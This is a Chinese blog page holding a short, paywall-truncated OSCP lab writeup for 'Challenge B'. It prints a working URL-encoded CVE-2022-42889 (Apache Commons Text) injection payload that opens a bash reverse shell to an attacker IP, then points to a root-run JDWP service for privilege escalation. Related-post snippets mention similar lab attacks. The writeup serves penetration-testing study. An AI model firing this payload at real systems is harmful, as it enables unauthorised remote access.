OSCP Challenge B

已于 2023-09-11 16:23:37 修改
阅读量1.4k 收藏
点赞数 2
分类专栏： OSCP 2023 lab writeup 文章标签： 网络
于 2023-09-11 16:20:12 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/fuckskyboy/article/details/132811717
版权
OSCP 2023 lab writeup 专栏收录该内容
6 篇文章 89 订阅 ¥159.90 ¥299.90
订阅专栏

192.150

8080端口有web，跑一下目录

CHANGELOG和search

Apache Commons Text 1.8——CVE-2022-42889

/search?query=%24%7bscript%3ajavascript%3ajava.lang.Runtime.getRuntime().exec('%2fbin%2fbash%20-c%20bash%24IFS%249-i%3e%26%2fdev%2ftcp%2f192.168.45.188%2f4444%3c%261')%7d

反弹shell成功后，通过命令查看当前服务，发现该主机有监听本机的8000端口，通过ps查询

发现开启了jdwp并且是由root账户启用的，故可能可以用来提权

首先通过ssh隧道将8000端口映射到本地。注意

了解本专栏 订阅专栏 解锁全文
fuckskyboy
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
订阅专栏
Challenge 5 - OSCP B
羽的博客
03-14 677
jdwp可以执行命令，但是这个脚本需要python2来运行，靶机上没有，那么我们只能将8000端口代理出来了，我这里代理到我本地的7800端口上。访问8080端口显 hostname，我们通过nmap可以看到hostname为ms01.oscp.exam，修改/etc/hosts。试了下impacket-smbexec没有成功， 不过他开放了22端口，我们可以ssh登录web_svc用户。得到下面的结果，root用户运行了一个貌似是debug的进程。nmap扫描发现了一个可以的端口8021。
OSCP Challenge A
fuckskyboy的博客
09-05 2324
2023 OSCP challenge A的writeup
OSCP-Challenge 1 - Medtech
羽的博客
03-14 2648
122靶机进入/home/mario/.ssh目录下，发现存在id_rsa，用这个逐个登录内网靶机，发现14的成功进入。现在我们通过代理可以扫描内网的其他机器了，扫了下10-14、83、83开放的端口基本差不多，发现都有5985。如果可以看到的话，那就简单了，直接覆盖成shell文件就可以了，然后等待反弹。登录后发现限制了命令的执行，但是help了一下，发现了哪些可以用的命令。咨询了一下是dns的问题，修改dns的ip位域的ip，也就是10的ip。接着上mimikatz来获取一些明文信息，但是失败了。
OSCP 2023 challenge Writeup-Medtech
fuckskyboy的博客
08-26 6813
OSCP lab writeup
OSCP 2023 challenge2 Relia
fuckskyboy的博客
10-07 5417
OSCP 2023 lab relia
Challenge 4 - OSCP A
羽的博客
03-14 1053
在c盘下发现一个windows.old，在里面可以找到SYSTEM和SAM文件，下载到本地，利用samdump2解密发现没解出来，再来试试pwdump.py(https://github.com/CiscoCXSecurity/creddump7)得到压缩包密码bludecode，解压之后发现一个比较特殊的文件configuration.php，里面有两个类似密码的字符串。登录之后在/opt/backups/下发现几个特殊文件，其中sitebackup3.zip是个正常的压缩包。但是这个压缩包是有密码的。
Challenge 6 - OSCP C
羽的博客
03-14 789
开放了161端口，直接snmpbulkwalk扫描得到账号密码试了那几个web端口，发现可以登录8083的vesta，但是需要用户名大写Jack接着登录之后里面可以创建计划任务，直接弄个反弹shell，一分钟回弹。得到shell后，运行linpeas.sh提供了几个可能的漏洞，挨个试一下。
OSCP认证学习资源汇总.zip
08-19
0x0001-OSCP学习资料PWK v1.15-带书签 0x0002-OSCE学习资料-CPTV 1.0 0x0003-OSCP考试命令大全 0x0004-INE机构OSCP课程 0x0005-bof真题文件 0x0006-缓冲区溢出题目全套解决方案 0x0007-OSCP报告模板参考 0x0008-题型...
OSCP-PWK:https
04-27
OSCP 提供了更好的阅读体验，因为回购协议大多类似于草稿和备份。 注释和备忘单位于Wiki页面中。 回购中充斥着TryHackMe编写的内容和二进制文件。 卡利配置 ohmyzsh + powerlevel10K + tmux Kali 2020.3的提示：...
OSCP网络安全认证
10-19
**OSCP网络安全认证详解** OSCP（Offensive Security Certified Professional）是网络安全领域内备受推崇的专业认证，由Offensive Security公司颁发。它专为那些希望通过Kali Linux进行渗透测试的网络安全专家设计...
OSCP NOTES.pdf
10-06
OSCP（Offensive Security Certified Professional）是渗透测试的专业认证，其学习资料通常涵盖一系列工具和技术。 在渗透测试过程中，枚举和端口扫描是第一步，目的是了解目标网络的拓扑结构和开放服务。`nmap` 是...
oscp
03-26
oscp
Linux网络工具“瑞士军刀“集合
分享不一样的技术，与你一起共同成长!
07-26 283
下面结合之前的一些使用经验为大家介绍一下一些经典应用场景下，这个网络命令工具如何使用的。例如怎么查看当前服务器监听哪些端口、连接目标主机端口情况如何?平常我们在进行Linux服务器相关运维的时候，总会遇到一些网络相关的问题。我们可以借助这些小巧、功能强悍的工具帮助我们排查问题、解决问题...
S5730举例
最新发布
jjjxxxhhh123的博客
07-27 647
例子： 假设在校园网络中，某些交换机之间存在多个连接（可能是多个光纤），如果没有STP，这些多个连接可能导致数据包在网络中无限制地传输，形成网络风暴，导致整个网络瘫痪。PIM-SM通过仅在需要时在网络中传输组播数据包，减少网络带宽的占用，提高数据传输效率。[sysname-GigabitEthernet0/0/1] ospf cost 10 // 设置接口的OSPF成本，影响路径选择。综上所述，这些网络技术和配置在大学校园网络中起到关键作用，确保网络运行高效、安全和可靠，同时满足用户的多样化需求。
网络编程套接字socket
安权_code的博客
07-23 962
网络编程中的套接字（socket）是实现网络通信的关键，换句话来说，套接字像两个端点，而发送方与接收方就是通过这两个端点进行通信的，socket的意思是插座，表示插头和插座连接上后，即发送方和接收方连接上了，然后把电流通过插座流向插头对标发送方与接收方建立了链接。
使用WebSocket协议调用群发方法将消息返回客户端页面
2302_79840586的博客
07-27 852
使用WebSocket协议调用群发方法将消息返回客户端页面
H3C与VPN高级应用（七）深入探讨H3C防火墙与VPN高级应用
洛秋的博客
07-23 1117
IPSec（Internet Protocol Security）是一种用于保护IP通信的协议，通过对数据包进行加密和认证来确保数据的机密性、完整性和真实性。IPSec VPN通常用于建立安全的远程连接，保护企业内部网络与远程办公或分支机构之间的数据通信。NAT（Network Address Translation）是一种将私有IP地址转换为公共IP地址的技术，通常用于多个设备共享一个公共IP地址访问互联网。NAT有助于节约公共IP地址，同时增强内部网络的安全性。
DNS域名管理系统、搭建DNS服务
十四的博客
07-23 933
DNS概述。
oscp 2023 challenge writeup-medtech-csdn博客
10-29
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中，作者详细讲解了一个名为MedTech的挑战项目，并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着，作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境，参与者需要在该环境中寻找漏洞、获取权限，最终控制主机，获取FLAG。 在解决这个挑战的过程中，作者详细介绍了使用的工具和技术。例如，他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤，以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术，如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中，作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱，并分享了如何避免它们的经验。 最后，作者总结了整个挑战的过程，并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性，并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解，而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

fuckskyboy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值